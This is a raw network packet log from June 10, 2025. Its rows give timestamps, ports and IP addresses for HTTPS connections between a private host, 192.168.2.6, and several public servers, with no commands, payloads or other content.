Jun 10, 2025 12:50:18.866475105 CEST	443	49707	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:18.868423939 CEST	443	49707	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:18.868454933 CEST	443	49707	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:18.868509054 CEST	49707	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:18.868730068 CEST	443	49707	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:18.868793964 CEST	49707	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:18.868998051 CEST	443	49707	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:18.869126081 CEST	49707	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:18.870174885 CEST	443	49707	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:18.870249987 CEST	49707	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:18.870409966 CEST	443	49707	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:18.870496988 CEST	49707	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:18.870630026 CEST	443	49707	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:18.870692015 CEST	49707	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:18.870829105 CEST	443	49707	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:18.870886087 CEST	49707	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:18.871020079 CEST	443	49707	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:18.875840902 CEST	443	49707	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:18.876069069 CEST	49707	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:18.899516106 CEST	49710	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:18.899544001 CEST	443	49710	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:18.899643898 CEST	49710	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:18.900371075 CEST	49710	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:18.900379896 CEST	443	49710	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.031047106 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.031080008 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.031150103 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.031546116 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.031554937 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.124782085 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:19.125406027 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:19.125474930 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:19.126751900 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:19.175084114 CEST	443	49710	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.175185919 CEST	49710	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.175196886 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:19.182408094 CEST	49710	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.182421923 CEST	443	49710	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.182532072 CEST	49710	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.182538986 CEST	443	49710	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.182594061 CEST	49710	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.183073044 CEST	443	49710	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.183132887 CEST	49710	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.183300018 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.183337927 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.183422089 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.183866978 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.183876038 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.194217920 CEST	49713	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.194250107 CEST	443	49713	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.194575071 CEST	49713	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.195079088 CEST	49713	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.195090055 CEST	443	49713	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.325975895 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.326056004 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.327049971 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.327055931 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.327487946 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.327493906 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.327668905 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.327672958 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.328737020 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.329168081 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.329296112 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.329380989 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.330107927 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.376965046 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.451832056 CEST	49714	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:50:19.451880932 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:19.451987028 CEST	49714	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:50:19.454366922 CEST	49714	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:50:19.454374075 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:19.463562965 CEST	443	49713	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.463637114 CEST	49713	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.464131117 CEST	49713	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.464144945 CEST	443	49713	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.464169025 CEST	49713	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.464173079 CEST	443	49713	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.464570999 CEST	49713	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.464844942 CEST	49715	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.464879036 CEST	443	49715	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.464998007 CEST	49715	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.465553045 CEST	49715	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.465559959 CEST	443	49715	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.477291107 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.477375984 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.478727102 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.478734016 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.479120970 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.479127884 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.479259014 CEST	49715	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.479846001 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.479851007 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.479902029 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.479904890 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.480554104 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.480740070 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.480747938 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.480811119 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.480809927 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.480832100 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.480849981 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.480868101 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.480887890 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.480947018 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.480956078 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.480989933 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.481000900 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.482105970 CEST	443	49713	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.482201099 CEST	49713	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.482775927 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.482820034 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.483190060 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.483599901 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.483752012 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.484812975 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.497033119 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.520292044 CEST	443	49715	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.523135900 CEST	49672	443	192.168.2.6	204.79.197.203
Jun 10, 2025 12:50:19.540275097 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.573196888 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.573868036 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.577419043 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.628582001 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.629204035 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.629266024 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.629388094 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.632989883 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.633152008 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.709028959 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.709642887 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.709800959 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.709855080 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.713433027 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.713510990 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.723371029 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.723805904 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.723849058 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.723916054 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.723929882 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.724034071 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.724366903 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.724443913 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.724481106 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.724497080 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.725970030 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.726073027 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.726572037 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.726643085 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.727284908 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.727503061 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.746221066 CEST	443	49715	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.748940945 CEST	49715	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.847619057 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.847796917 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.848583937 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.848701954 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.848862886 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.848989964 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.849581957 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.849847078 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.850169897 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.850361109 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.851296902 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.851577044 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.852195978 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.852271080 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.852998018 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.853082895 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.853540897 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.853713036 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.854758024 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.855065107 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.855504036 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.856601000 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:19.856633902 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:19.856761932 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:19.857342958 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:19.857359886 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:19.858701944 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:19.858886003 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:19.861745119 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.861922026 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.861984015 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:19.862787962 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:19.905553102 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:20.017501116 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:20.017626047 CEST	49714	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:50:20.122446060 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:20.123080969 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:20.372780085 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:20.372780085 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:20.372802019 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:20.372814894 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:20.373404026 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:20.373409986 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:20.373553991 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:20.374099970 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:20.374232054 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:20.374232054 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:20.375248909 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:20.390559912 CEST	49714	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:50:20.390590906 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:20.391336918 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:20.407111883 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:20.407145023 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:20.415712118 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:20.446670055 CEST	49714	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:50:20.483984947 CEST	49714	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:50:20.484020948 CEST	49714	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:50:20.484214067 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:20.485742092 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:20.488296986 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:20.488521099 CEST	49714	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:50:20.492048979 CEST	49714	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:50:20.500490904 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.500577927 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.503242016 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.519629955 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:20.520212889 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:20.520319939 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:20.522725105 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:20.525778055 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:20.525887012 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:20.536273003 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:20.667372942 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:20.713430882 CEST	49714	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:50:20.735210896 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.736183882 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.736196041 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.736243963 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.736288071 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.736346006 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.736367941 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.736417055 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.736435890 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.736485958 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.736936092 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.737004042 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.737010002 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.737075090 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.738658905 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.738722086 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.739547014 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.739614964 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.739615917 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.739669085 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.739680052 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.739753008 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.742069006 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.742136955 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.742912054 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.742974043 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.742980957 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.743036032 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.743045092 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.744606018 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.746479034 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.746541023 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.746592045 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.746648073 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.747333050 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.747389078 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.747445107 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.747497082 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.747540951 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.747586966 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.749043941 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.749109983 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.751678944 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.751739025 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.751773119 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.751796007 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.751847982 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.751903057 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.751951933 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.753313065 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.753366947 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.756131887 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.756203890 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.756345987 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.756416082 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.756491899 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.756550074 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.757817030 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.757888079 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.757971048 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.758033037 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.758105993 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.758234978 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.758285046 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.767376900 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:20.785645962 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:20.786293983 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:20.786395073 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:20.789324999 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:20.815881968 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:20.831557989 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:20.840828896 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:20.840867043 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:20.840903044 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:20.840908051 CEST	49714	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:50:20.840919018 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:20.840938091 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:20.840946913 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:20.840965033 CEST	49714	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:50:20.840997934 CEST	49714	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:50:20.841135025 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:20.841156960 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:20.841190100 CEST	49714	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:50:20.841212034 CEST	49714	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:50:20.841383934 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:20.846116066 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:20.846199989 CEST	49714	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:50:21.347279072 CEST	49714	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:50:21.347831964 CEST	443	49714	52.149.20.212	192.168.2.6
Jun 10, 2025 12:50:21.347923994 CEST	49714	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:50:21.472819090 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:21.520270109 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:21.568862915 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:21.571501970 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:21.571537018 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:21.606148958 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:21.606208086 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:21.606559038 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:21.606631041 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:21.606699944 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:21.607826948 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:21.612267971 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:21.658495903 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:21.700803995 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:21.701112986 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:21.701184034 CEST	443	49716	104.18.95.41	192.168.2.6
